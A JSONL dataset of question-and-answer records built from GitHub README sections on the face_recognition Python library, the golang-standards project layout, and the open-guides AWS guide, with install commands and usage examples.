{"id": "gh_c74cae868cfe", "question": "How to: Installation Options:", "question_body": "About ageitgey/face_recognition", "answer": "#### Installing on Mac or Linux\n\nFirst, make sure you have dlib already installed with Python bindings:\n\n  * [How to install dlib from source on macOS or Ubuntu](https://gist.github.com/ageitgey/629d75c1baac34dfa5ca2a1928a7aeaf)\n  \nThen, make sure you have cmake installed:  \n \n```brew install cmake```\n\nFinally, install this module from pypi using `pip3` (or `pip2` for Python 2):\n\n```bash\npip3 install face_recognition\n```\n\nAlternatively, you can try this library with [Docker](https://www.docker.com/), see [this section](#deployment).\n\nIf you are having trouble with installation, you can also try out a\n[pre-configured VM](https://medium.com/@ageitgey/try-deep-learning-in-python-now-with-a-fully-pre-configured-vm-1d97d4c3e9b).\n\n#### Installing on an Nvidia Jetson Nano board\n\n * [Jetson Nano installation instructions](https://medium.com/@ageitgey/build-a-hardware-based-face-recognition-system-for-150-with-the-nvidia-jetson-nano-and-python-a25cb8c891fd)\n   * Please follow the instructions in the article carefully. There is current a bug in the CUDA libraries on the Jetson Nano that will cause this library to fail silently if you don't follow the instructions in the article to comment out a line in dlib and recompile it.\n\n#### Installing on Raspberry Pi 2+\n\n  * [Raspberry Pi 2+ installation instructions](https://gist.github.com/ageitgey/1ac8dbe8572f3f533df6269dab35df65)\n\n#### Installing on FreeBSD\n\n```bash\npkg install graphics/py-face_recognition\n```\n\n#### Installing on Windows\n\nWhile Windows isn't officially supported, helpful users have posted instructions on how to install this library:\n\n  * [@masoudr's Windows 10 installation guide (dlib + face_recognition)](https://github.com/ageitgey/face_recognition/issues/175#issue-257710508)\n\n#### Installing a pre-configured Virtual Machine image\n\n  * [Download the pre-configured VM image](https://medium.com/@ageitgey/try-deep-learning-in-python-now-with-a-fully-pre-configured-vm-1d97d4c3e9b) (for VMware Player or VirtualBox).", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 56035, "answer_score": 10, "has_code": true, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472646"}
{"id": "gh_f71a70abe130", "question": "How to: Command-Line Interface", "question_body": "About ageitgey/face_recognition", "answer": "When you install `face_recognition`, you get two simple command-line \nprograms:\n\n* `face_recognition` - Recognize faces in a photograph or folder full for \n   photographs.\n* `face_detection` - Find faces in a photograph or folder full for photographs.\n\n#### `face_recognition` command line tool\n\nThe `face_recognition` command lets you recognize faces in a photograph or \nfolder full  for photographs.\n\nFirst, you need to provide a folder with one picture of each person you\nalready know. There should be one image file for each person with the\nfiles named according to who is in the picture:\n\n![known](https://cloud.githubusercontent.com/assets/896692/23582466/8324810e-00df-11e7-82cf-41515eba704d.png)\n\nNext, you need a second folder with the files you want to identify:\n\n![unknown](https://cloud.githubusercontent.com/assets/896692/23582465/81f422f8-00df-11e7-8b0d-75364f641f58.png)\n\nThen in you simply run the command `face_recognition`, passing in\nthe folder of known people and the folder (or single image) with unknown\npeople and it tells you who is in each image:\n\n```bash\n$ face_recognition ./pictures_of_people_i_know/ ./unknown_pictures/\n\n/unknown_pictures/unknown.jpg,Barack Obama\n/face_recognition_test/unknown_pictures/unknown.jpg,unknown_person\n```\n\nThere's one line in the output for each face. The data is comma-separated\nwith the filename and the name of the person found.\n\nAn `unknown_person` is a face in the image that didn't match anyone in\nyour folder of known people.\n\n#### `face_detection` command line tool\n\nThe `face_detection` command lets you find the location (pixel coordinatates) \nof any faces in an image.\n\nJust run the command `face_detection`, passing in a folder of images \nto check (or a single image):\n\n```bash\n$ face_detection  ./folder_with_pictures/\n\nexamples/image1.jpg,65,215,169,112\nexamples/image2.jpg,62,394,211,244\nexamples/image2.jpg,95,941,244,792\n```\n\nIt prints one line for each face that was detected. The coordinates\nreported are the top, right, bottom and left coordinates of the face (in pixels).\n \n##### Adjusting Tolerance / Sensitivity\n\nIf you are getting multiple matches for the same person, it might be that\nthe people in your photos look very similar and a lower tolerance value\nis needed to make face comparisons more strict.\n\nYou can do that with the `--tolerance` parameter. The default tolerance\nvalue is 0.6 and lower numbers make face comparisons more strict:\n\n```bash\n$ face_recognition --tolerance 0.54 ./pictures_of_people_i_know/ ./unknown_pictures/\n\n/unknown_pictures/unknown.jpg,Barack Obama\n/face_recognition_test/unknown_pictures/unknown.jpg,unknown_person\n```\n\nIf you want to see the face distance calculated for each match in order\nto adjust the tolerance setting, you can use `--show-distance true`:\n\n```bash\n$ face_recognition --show-distance true ./pictures_of_people_i_know/ ./unknown_pictures/\n\n/unknown_pictures/unknown.jpg,Barack Obama,0.378542298956785\n/face_recognition_test/unknown_pictures/unknown.jpg,unknown_person,None\n```\n\n##### More Examples\n\nIf you simply want to know the names of the people in each photograph but don't\ncare about file names, you could do this:\n\n```bash\n$ face_recognition ./pictures_of_people_i_know/ ./unknown_pictures/ | cut -d ',' -f2\n\nBarack Obama\nunknown_person\n```\n\n##### Speeding up Face Recognition\n\nFace recognition can be done in parallel if you have a computer with\nmultiple CPU cores. For example, if your system has 4 CPU cores, you can\nprocess about 4 times as many images in the same amount of time by using\nall your CPU cores in parallel.\n\nIf you are using Python 3.4 or newer, pass in a `--cpus\n` parameter:\n\n```bash\n$ face_recognition --cpus 4 ./pictures_of_people_i_know/ ./unknown_pictures/\n```\n\nYou can also pass in `--cpus -1` to use all CPU cores in your system.\n\n#### Python Module\n\nYou can import the `face_recognition` module and then easily manipulate\nfaces with just a couple of lines of code. It's super easy!\n\nAPI Docs: [https://face-recognition.readthedocs.io](https://face-recognition.readthedocs.io/en/latest/face_recognition.html).\n\n##### Automatically find all the faces in an image\n\n```python\nimport face_recognition\n\nimage = face_recognition.load_image_file(\"my_picture.jpg\")\nface_locations = face_recognition.face_locations(image)", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 56035, "answer_score": 10, "has_code": true, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472666"}
{"id": "gh_cca16c8ba79a", "question": "How to: face_locations is now an array listing the co-ordinates of each face!", "question_body": "About ageitgey/face_recognition", "answer": "```\n\nSee [this example](https://github.com/ageitgey/face_recognition/blob/master/examples/find_faces_in_picture.py)\n to try it out.\n\nYou can also opt-in to a somewhat more accurate deep-learning-based face detection model.\n\nNote: GPU acceleration (via NVidia's CUDA library) is required for good\nperformance with this model. You'll also want to enable CUDA support\nwhen compliling `dlib`.\n\n```python\nimport face_recognition\n\nimage = face_recognition.load_image_file(\"my_picture.jpg\")\nface_locations = face_recognition.face_locations(image, model=\"cnn\")", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 56035, "answer_score": 10, "has_code": true, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472675"}
{"id": "gh_3774882ab952", "question": "How to: face_landmarks_list[0]['left_eye'] would be the location and outline of the first person's left eye.", "question_body": "About ageitgey/face_recognition", "answer": "```\n\nSee [this example](https://github.com/ageitgey/face_recognition/blob/master/examples/find_facial_features_in_picture.py)\n to try it out.\n\n##### Recognize faces in images and identify who they are\n\n```python\nimport face_recognition\n\npicture_of_me = face_recognition.load_image_file(\"me.jpg\")\nmy_face_encoding = face_recognition.face_encodings(picture_of_me)[0]", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 56035, "answer_score": 10, "has_code": true, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472688"}
{"id": "gh_5868db6c0809", "question": "How to: my_face_encoding now contains a universal 'encoding' of my facial features that can be compared to any other picture of a face!", "question_body": "About ageitgey/face_recognition", "answer": "unknown_picture = face_recognition.load_image_file(\"unknown.jpg\")\nunknown_face_encoding = face_recognition.face_encodings(unknown_picture)[0]", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 56035, "answer_score": 10, "has_code": false, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472695"}
{"id": "gh_6048a7a166b2", "question": "How to: Now we can see the two face encodings are of the same person with `compare_faces`!", "question_body": "About ageitgey/face_recognition", "answer": "results = face_recognition.compare_faces([my_face_encoding], unknown_face_encoding)\n\nif results[0] == True:\n    print(\"It's a picture of me!\")\nelse:\n    print(\"It's not a picture of me!\")\n```\n\nSee [this example](https://github.com/ageitgey/face_recognition/blob/master/examples/recognize_faces_in_pictures.py)\n to try it out.", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 56035, "answer_score": 10, "has_code": true, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472701"}
{"id": "gh_871112a6661e", "question": "How to: Python Code Examples", "question_body": "About ageitgey/face_recognition", "answer": "All the examples are available [here](https://github.com/ageitgey/face_recognition/tree/master/examples).\n\n#### Face Detection\n\n* [Find faces in a photograph](https://github.com/ageitgey/face_recognition/blob/master/examples/find_faces_in_picture.py)\n* [Find faces in a photograph (using deep learning)](https://github.com/ageitgey/face_recognition/blob/master/examples/find_faces_in_picture_cnn.py)\n* [Find faces in batches of images w/ GPU (using deep learning)](https://github.com/ageitgey/face_recognition/blob/master/examples/find_faces_in_batches.py)\n* [Blur all the faces in a live video using your webcam (Requires OpenCV to be installed)](https://github.com/ageitgey/face_recognition/blob/master/examples/blur_faces_on_webcam.py)\n\n#### Facial Features\n\n* [Identify specific facial features in a photograph](https://github.com/ageitgey/face_recognition/blob/master/examples/find_facial_features_in_picture.py)\n* [Apply (horribly ugly) digital make-up](https://github.com/ageitgey/face_recognition/blob/master/examples/digital_makeup.py)\n\n#### Facial Recognition\n\n* [Find and recognize unknown faces in a photograph based on photographs of known people](https://github.com/ageitgey/face_recognition/blob/master/examples/recognize_faces_in_pictures.py)\n* [Identify and draw boxes around each person in a photo](https://github.com/ageitgey/face_recognition/blob/master/examples/identify_and_draw_boxes_on_faces.py)\n* [Compare faces by numeric face distance instead of only True/False matches](https://github.com/ageitgey/face_recognition/blob/master/examples/face_distance.py)\n* [Recognize faces in live video using your webcam - Simple / Slower Version (Requires OpenCV to be installed)](https://github.com/ageitgey/face_recognition/blob/master/examples/facerec_from_webcam.py)\n* [Recognize faces in live video using your webcam - Faster Version (Requires OpenCV to be installed)](https://github.com/ageitgey/face_recognition/blob/master/examples/facerec_from_webcam_faster.py)\n* [Recognize faces in a video file and write out new video file (Requires OpenCV to be installed)](https://github.com/ageitgey/face_recognition/blob/master/examples/facerec_from_video_file.py)\n* [Recognize faces on a Raspberry Pi w/ camera](https://github.com/ageitgey/face_recognition/blob/master/examples/facerec_on_raspberry_pi.py)\n* [Run a web service to recognize faces via HTTP (Requires Flask to be installed)](https://github.com/ageitgey/face_recognition/blob/master/examples/web_service_example.py)\n* [Recognize faces with a K-nearest neighbors classifier](https://github.com/ageitgey/face_recognition/blob/master/examples/face_recognition_knn.py)\n* [Train multiple images per person then recognize faces using a SVM](https://github.com/ageitgey/face_recognition/blob/master/examples/face_recognition_svm.py)", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 56035, "answer_score": 10, "has_code": false, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472713"}
{"id": "gh_ce4e7ce69e76", "question": "How to: Creating a Standalone Executable", "question_body": "About ageitgey/face_recognition", "answer": "If you want to create a standalone executable that can run without the need to install `python` or `face_recognition`, you can use [PyInstaller](https://github.com/pyinstaller/pyinstaller). However, it requires some custom configuration to work with this library. See [this issue](https://github.com/ageitgey/face_recognition/issues/357) for how to do it.", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 56035, "answer_score": 10, "has_code": false, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472720"}
{"id": "gh_fa66493004d9", "question": "How to: Articles and Guides that cover `face_recognition`", "question_body": "About ageitgey/face_recognition", "answer": "- My article on how Face Recognition works: [Modern Face Recognition with Deep Learning](https://medium.com/@ageitgey/machine-learning-is-fun-part-4-modern-face-recognition-with-deep-learning-c3cffc121d78)\n  - Covers the algorithms and how they generally work\n- [Face recognition with OpenCV, Python, and deep learning](https://www.pyimagesearch.com/2018/06/18/face-recognition-with-opencv-python-and-deep-learning/) by Adrian Rosebrock\n  - Covers how to use face recognition in practice\n- [Raspberry Pi Face Recognition](https://www.pyimagesearch.com/2018/06/25/raspberry-pi-face-recognition/) by Adrian Rosebrock\n  - Covers how to use this on a Raspberry Pi\n- [Face clustering with Python](https://www.pyimagesearch.com/2018/07/09/face-clustering-with-python/) by Adrian Rosebrock\n  - Covers how to automatically cluster photos based on who appears in each photo using unsupervised learning", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 56035, "answer_score": 10, "has_code": false, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472727"}
{"id": "gh_aab82c9a1088", "question": "How to: How Face Recognition Works", "question_body": "About ageitgey/face_recognition", "answer": "If you want to learn how face location and recognition work instead of\ndepending on a black box library, [read my article](https://medium.com/@ageitgey/machine-learning-is-fun-part-4-modern-face-recognition-with-deep-learning-c3cffc121d78).", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 56035, "answer_score": 10, "has_code": false, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472733"}
{"id": "gh_312abad6dc63", "question": "How to: <a name=\"deployment\">Deployment to Cloud Hosts (Heroku, AWS, etc)</a>", "question_body": "About ageitgey/face_recognition", "answer": "Since `face_recognition` depends on `dlib` which is written in C++, it can be tricky to deploy an app\nusing it to a cloud hosting provider like Heroku or AWS.\n\nTo make things easier, there's an example Dockerfile in this repo that shows how to run an app built with\n`face_recognition` in a [Docker](https://www.docker.com/) container. With that, you should be able to deploy\nto any service that supports Docker images.\n\nYou can try the Docker image locally by running: `docker-compose up --build`\n\nThere are also [several prebuilt Docker images.](docker/README.md)\n\nLinux users with a GPU (drivers >= 384.81) and [Nvidia-Docker](https://github.com/NVIDIA/nvidia-docker) installed can run the example on the GPU: Open the [docker-compose.yml](docker-compose.yml) file and uncomment the `dockerfile: Dockerfile.gpu` and `runtime: nvidia` lines.", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 56035, "answer_score": 10, "has_code": false, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472741"}
{"id": "gh_73c4ef3a384e", "question": "How to: Having problems?", "question_body": "About ageitgey/face_recognition", "answer": "If you run into problems, please read the [Common Errors](https://github.com/ageitgey/face_recognition/wiki/Common-Errors) section of the wiki before filing a github issue.", "tags": ["ageitgey"], "source": "github_gists", "category": "ageitgey", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 56035, "answer_score": 10, "has_code": false, "url": "https://github.com/ageitgey/face_recognition", "collected_at": "2026-01-16T23:28:10.472747"}
{"id": "gh_126b6b4ae1e3", "question": "How to: `/internal`", "question_body": "About golang-standards/project-layout", "answer": "Private application and library code. This is the code you don't want others importing in their applications or libraries. Note that this layout pattern is enforced by the Go compiler itself. See the Go 1.4 [`release notes`](https://golang.org/doc/go1.4#internalpackages) for more details. Note that you are not limited to the top level `internal` directory. You can have more than one `internal` directory at any level of your project tree.\n\nYou can optionally add a bit of extra structure to your internal packages to separate your shared and non-shared internal code. It's not required (especially for smaller projects), but it's nice to have visual clues showing the intended package use. Your actual application code can go in the `/internal/app` directory (e.g., `/internal/app/myapp`) and the code shared by those apps in the `/internal/pkg` directory (e.g., `/internal/pkg/myprivlib`).\n\nYou use internal directories to make packages private. If you put a package inside an internal directory, then other packages can’t import it unless they share a common ancestor. And it’s the only directory named in Go’s documentation and has special compiler treatment.", "tags": ["golang-standards"], "source": "github_gists", "category": "golang-standards", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 55070, "answer_score": 10, "has_code": false, "url": "https://github.com/golang-standards/project-layout", "collected_at": "2026-01-16T23:28:12.089931"}
{"id": "gh_1627e8549a90", "question": "How to: `/configs`", "question_body": "About golang-standards/project-layout", "answer": "Configuration file templates or default configs.\n\nPut your `confd` or `consul-template` template files here.", "tags": ["golang-standards"], "source": "github_gists", "category": "golang-standards", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55070, "answer_score": 10, "has_code": false, "url": "https://github.com/golang-standards/project-layout", "collected_at": "2026-01-16T23:28:12.089949"}
{"id": "gh_d5d3613ba516", "question": "How to: `/scripts`", "question_body": "About golang-standards/project-layout", "answer": "Scripts to perform various build, install, analysis, etc operations.\n\nThese scripts keep the root level Makefile small and simple (e.g., [`https://github.com/hashicorp/terraform/blob/main/Makefile`](https://github.com/hashicorp/terraform/blob/main/Makefile)).\n\nSee the [`/scripts`](scripts/README.md) directory for examples.", "tags": ["golang-standards"], "source": "github_gists", "category": "golang-standards", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55070, "answer_score": 10, "has_code": false, "url": "https://github.com/golang-standards/project-layout", "collected_at": "2026-01-16T23:28:12.089955"}
{"id": "gh_b88a34d88e18", "question": "How to: `/deployments`", "question_body": "About golang-standards/project-layout", "answer": "IaaS, PaaS, system and container orchestration deployment configurations and templates (docker-compose, kubernetes/helm, terraform). Note that in some repos (especially apps deployed with kubernetes) this directory is called `/deploy`.", "tags": ["golang-standards"], "source": "github_gists", "category": "golang-standards", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55070, "answer_score": 10, "has_code": false, "url": "https://github.com/golang-standards/project-layout", "collected_at": "2026-01-16T23:28:12.089960"}
{"id": "gh_b994240b6518", "question": "How to: `/examples`", "question_body": "About golang-standards/project-layout", "answer": "Examples for your applications and/or public libraries.\n\nSee the [`/examples`](examples/README.md) directory for examples.", "tags": ["golang-standards"], "source": "github_gists", "category": "golang-standards", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55070, "answer_score": 10, "has_code": false, "url": "https://github.com/golang-standards/project-layout", "collected_at": "2026-01-16T23:28:12.089966"}
{"id": "gh_fc91ceaaea8a", "question": "How to: `/third_party`", "question_body": "About golang-standards/project-layout", "answer": "External helper tools, forked code and other 3rd party utilities (e.g., Swagger UI).", "tags": ["golang-standards"], "source": "github_gists", "category": "golang-standards", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55070, "answer_score": 10, "has_code": false, "url": "https://github.com/golang-standards/project-layout", "collected_at": "2026-01-16T23:28:12.089971"}
{"id": "gh_e0db75e84936", "question": "How to: `/website`", "question_body": "About golang-standards/project-layout", "answer": "This is the place to put your project's website data if you are not using GitHub pages.\n\nSee the [`/website`](website/README.md) directory for examples.", "tags": ["golang-standards"], "source": "github_gists", "category": "golang-standards", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55070, "answer_score": 10, "has_code": false, "url": "https://github.com/golang-standards/project-layout", "collected_at": "2026-01-16T23:28:12.089976"}
{"id": "gh_f0bf08ec21eb", "question": "How to: Please help!", "question_body": "About open-guides/og-aws", "answer": "**This is an early in-progress draft!** It’s our first attempt at assembling this information, so is far from comprehensive still, and likely to have omissions or errors.\n\n[![Slack Chat](https://img.shields.io/badge/Chat-Slack-ff69b4.svg \"Join us. Anyone is welcome!\")](http://slackhatesthe.cloud)\n\nPlease help by [**joining the Slack channel**](http://slackhatesthe.cloud) (we like to talk about AWS in general, even if you only have questions — discussion helps the community and guides improvements) and [**contributing to the guide**](CONTRIBUTING.md). This guide is *open to contributions*, so unlike a blog, it can keep improving. Like any open source effort, we combine efforts but also review to ensure high quality.\n\nScope\n-----\n\n-\tCurrently, this guide covers selected “core” services, such as EC2, S3, Load Balancers, EBS, and IAM, and partial details and tips around other services. We expect it to expand.\n-\tIt is not a tutorial, but rather a collection of information you can read and return to. It is for both beginners and the experienced.\n-\tThe goal of this guide is to be:\n\t-\t**Brief:** Keep it dense and use links\n\t-\t**Practical:** Basic facts, concrete details, advice, gotchas, and other “folk knowledge”\n\t-\t**Current:** We can keep updating it, and anyone can contribute improvements\n\t-\t**Thoughtful:** The goal is to be helpful rather than present dry facts. Thoughtful opinion with rationale is welcome. Suggestions, notes, and opinions based on real experience can be extremely valuable. (We believe this is both possible with a guide of this format, unlike in some [other venues](http://meta.stackexchange.com/questions/201994/is-there-a-place-to-ask-opinion-based-questions).)\n-\tThis guide is not sponsored by AWS or AWS-affiliated vendors. It is written by and for engineers who use AWS.\n\nLegend\n------\n\n-\t📒 Marks standard/official AWS pages and docs\n-\t🔹 Important or often overlooked tip\n-\t❗ “Serious” gotcha (used where risks or time or resource costs are significant: critical security risks, mistakes with significant financial cost, or poor architectural choices that are fundamentally difficult to correct)\n-\t🔸 “Regular” gotcha, limitation, or quirk (used where consequences are things not working, breaking, or not scaling gracefully)\n-\t📜 Undocumented feature (folklore)\n-\t🐥 Relatively new (and perhaps immature) services or features\n-\t⏱ Performance discussions\n-\t⛓ Lock-in: Products or decisions that are likely to tie you to AWS in a new or significant way — that is, later moving to a non-AWS alternative would be costly in terms of engineering effort\n-\t🚪 Alternative non-AWS options\n-\t💸 Cost issues, discussion, and gotchas\n-\t🕍 A mild warning attached to “full solution” or opinionated frameworks that may take significant time to understand and/or might not fit your needs exactly; the opposite of a point solution (the cathedral is a nod to [Raymond’s metaphor](https://en.wikipedia.org/wiki/The_Cathedral_and_the_Bazaar)\\)\n-\t📗📘📙 Colors indicate basics, tips, and gotchas, respectively.\n-\t🚧 Areas where correction or improvement are needed (possibly with link to an issue — do help!)\n\nGeneral Information\n-------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.976935"}
{"id": "gh_b5bdc4a4d5ef", "question": "How to: When to Use AWS", "question_body": "About open-guides/og-aws", "answer": "-\t[AWS](https://en.wikipedia.org/wiki/Amazon_Web_Services) is the dominant public cloud computing provider.\n\t-\tIn general, “[cloud computing](https://en.wikipedia.org/wiki/Cloud_computing)” can refer to one of three types of cloud: “public,” “private,” and “hybrid.” AWS is a public cloud provider, since anyone can use it. Private clouds are within a single (usually large) organization. Many companies use a hybrid of private and public clouds.\n\t-\tThe core features of AWS are [infrastructure-as-a-service](https://en.wikipedia.org/wiki/Cloud_computing#Infrastructure_as_a_service_.28IaaS.29) (IaaS) — that is, virtual machines and supporting infrastructure. Other cloud service models include [platform-as-a-service](https://en.wikipedia.org/wiki/Cloud_computing#Platform_as_a_service_.28PaaS.29) (PaaS), which typically are more fully managed services that deploy customers’ applications, or [software-as-a-service](https://en.wikipedia.org/wiki/Cloud_computing#Software_as_a_service_.28SaaS.29) (SaaS), which are cloud-based applications. AWS does offer a few products that fit into these other models, too.\n\t-\tIn business terms, with infrastructure-as-a-service you have a variable cost model — it is [OpEx, not CapEx](http://www.investopedia.com/ask/answers/020915/what-difference-between-capex-and-opex.asp) (though some [pre-purchased contracts](https://aws.amazon.com/ec2/purchasing-options/reserved-instances/) are still CapEx).\n  - AWS’s TTM revenue was [**$37.549 billion**](https://ir.aboutamazon.com/news-release/news-release-details/2020/Amazoncom-Announces-First-Quarter/default.aspx) as of Q1 2020 according to their earnings results (slide 14 in the linked deck), or roughly **14%** of Amazon.com’s total revenue (slide 11 in the same deck) for the same TTM period.\n-\t**Main reasons to use AWS:**\n\t-\tIf your company is building systems or products that may need to scale\n\t-\tand you have technical know-how\n\t-\tand you want the most flexible tools\n\t-\tand you’re not significantly tied into different infrastructure already\n\t-\tand you don’t have internal, regulatory, or compliance reasons you can’t use a public cloud-based solution\n\t-\tand you’re not on a Microsoft-first tech stack\n\t-\tand you don’t have a specific reason to use Google Cloud\n\t-\tand you can afford, manage, or negotiate its somewhat higher costs\n\t-\t... then AWS is likely a good option for your company.\n-\tEach of those reasons above might point to situations where other services are preferable. In practice, many, if not most, tech startups as well as a number of modern large companies can or already do benefit from using AWS. Many large enterprises are partly migrating internal infrastructure to Azure, Google Cloud, and AWS.\n-\t**Costs:** Billing and cost management are such big topics that we have [an entire section on this](#billing-and-cost-management).\n-\t🔹**EC2 vs. other services:** Most users of AWS are most familiar with [EC2](#ec2), AWS’ flagship virtual server product, and possibly a few others like S3 and CLBs. But AWS products now extend far beyond basic IaaS, and often companies do not properly understand or appreciate all the many AWS services and how they can be applied, due to the [sharply growing](#which-services-to-use) number of services, their novelty and complexity, branding confusion, and fear of ⛓lock-in to proprietary AWS technology. Although a bit daunting, it’s important for technical decision-makers in companies to understand the breadth of the AWS services and make informed decisions. (We hope this guide will help.)\n-\t🚪**AWS vs. other cloud providers:** While AWS is the dominant IaaS provider (31% market share in [this 2016 estimate](https://www.srgresearch.com/articles/aws-remains-dominant-despite-microsoft-and-google-growth-surges)), there is significant competition and alternatives that are better suited to some companies. [This Gartner report](https://www.gartner.com/doc/reprints?id=1-2G2O5FC&ct=150519&st=sb) has a good overview of the major cloud players :\n\t-\t[**Google Cloud Platform**](https://cloud.google.com/). GCP arrived later to market than AWS, but has vast resources and is now used widely by many companies, including a few large ones. It is gaining market share. Not all AWS services have similar or analogous services in GCP. And vice versa: In particular, GCP offers some more advanced machine learning-based services like the [Vision](https://cloud.google.com/vision/), [Speech](https://cloud.google.com/speech/), and [Natural Language](https://cloud.google.com/natural-language/) APIs. It’s not common to switch once you’re up and running, but it does happen: [Spotify migrated](http://www.wsj.com/articles/google-cloud-lures-amazon-web-services-customer-spotify-1456270951) from AWS to Google Cloud. There is more discussion [on Quora](https://www.quora.com/What-are-the-reasons-to-choose-AWS-over-Google-Cloud-or-vice-versa-for-a-high-traffic-web-application) about relative benefits. Of particular note is that VPCs in GCP are [global b", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.976990"}
{"id": "gh_77ea28802a70", "question": "How to: Which Services to Use", "question_body": "About open-guides/og-aws", "answer": "-\tAWS offers a *lot* of different services — [about a hundred](https://aws.amazon.com/products/) at last count.\n-\tMost customers use a few services heavily, a few services lightly, and the rest not at all. What services you’ll use depends on your use cases. Choices differ substantially from company to company.\n-\t**Immature and unpopular services:** Just because AWS has a service that sounds promising, it doesn’t mean you should use it. Some services are very narrow in use case, not mature, are overly opinionated, or have limitations, so building your own solution may be better. We try to give a sense for this by breaking products into categories.\n-\t**Must-know infrastructure:** Most typical small to medium-size users will focus on the following services first. If you manage use of AWS systems, you likely need to know at least a little about all of these. (Even if you don’t use them, you should learn enough to make that choice intelligently.)\n\t-\t[IAM](#security-and-iam): User accounts and identities (you need to think about accounts early on!)\n\t-\t[EC2](#ec2): Virtual servers and associated components, including:\n\t\t-\t[AMIs](#amis): Machine Images\n\t\t-\t[Load Balancers](#load-balancers): CLBs and ALBs\n\t\t-\t[Autoscaling](#auto-scaling): Capacity scaling (adding and removing servers based on load)\n\t\t-\t[EBS](#ebs): Network-attached disks\n\t\t-\t[Elastic IPs](#elastic-ips): Assigned IP addresses\n\t-\t[S3](#s3): Storage of files\n\t-\t[Route 53](#route-53): DNS and domain registration\n\t-\t[VPC](#vpcs-network-security-and-security-groups): Virtual networking, network security, and co-location; you automatically use\n\t-\t[CloudFront](#cloudfront): CDN for hosting content\n\t-\t[CloudWatch](#cloudwatch): Alerts, paging, monitoring\n-\t**Managed services:** Existing software solutions you could run on your own, but with managed deployment:\n\t-\t[RDS](#rds): Managed relational databases (managed MySQL, Postgres, and Amazon’s own Aurora database)\n\t-\t[EMR](#emr): Managed Hadoop\n\t-\t[Elasticsearch](https://aws.amazon.com/elasticsearch-service/): Managed Elasticsearch\n\t-\t[ElastiCache](https://aws.amazon.com/elasticache/): Managed Redis and Memcached\n-\t**Optional but important infrastructure:** These are key and useful infrastructure components that are less widely known and used. You may have legitimate reasons to prefer alternatives, so evaluate with care to be sure they fit your needs:\n\t-\t⛓[Lambda](#lambda): Running small, fully managed tasks “serverless”\n\t-\t[CloudTrail](https://aws.amazon.com/cloudtrail/): AWS API logging and audit (often neglected but important)\n\t-\t⛓🕍[CloudFormation](#cloudformation): Templatized configuration of collections of AWS resources\n\t-\t🕍[Elastic Beanstalk](https://aws.amazon.com/elasticbeanstalk/): Fully managed (PaaS) deployment of packaged Java, .NET, PHP, Node.js, Python, Ruby, Go, and Docker applications\n\t-\t🐥[EFS](#efs): Network filesystem compatible with NFSv4.1\n\t-\t⛓🕍[ECS](#ecs): Docker container/cluster management (note Docker can also be used directly, without ECS)\n\t-   🕍 [EKS](#eks): Kubernetes (K8) Docker Container/Cluster management\n\t-\t⛓[ECR](https://aws.amazon.com/ecr/): Hosted private Docker registry\n\t-\t🐥[Config](https://aws.amazon.com/config/): AWS configuration inventory, history, change notifications\n\t-\t🐥[X-Ray](https://aws.amazon.com/xray/): Trace analysis and debugging for distributed applications such as microservices.\n-\t**Special-purpose infrastructure:** These services are focused on specific use cases and should be evaluated if they apply to your situation. Many also are proprietary architectures, so tend to tie you to AWS.\n\t-\t⛓[DynamoDB](#dynamodb): Low-latency NoSQL key-value store\n\t-\t⛓[Glacier](#glacier): Slow and cheap alternative to S3\n\t-\t⛓[Kinesis](https://aws.amazon.com/kinesis/): Streaming (distributed log) service\n\t-\t⛓[SQS](https://aws.amazon.com/sqs/): Message queueing service\n\t-\t⛓[Redshift](#redshift): Data 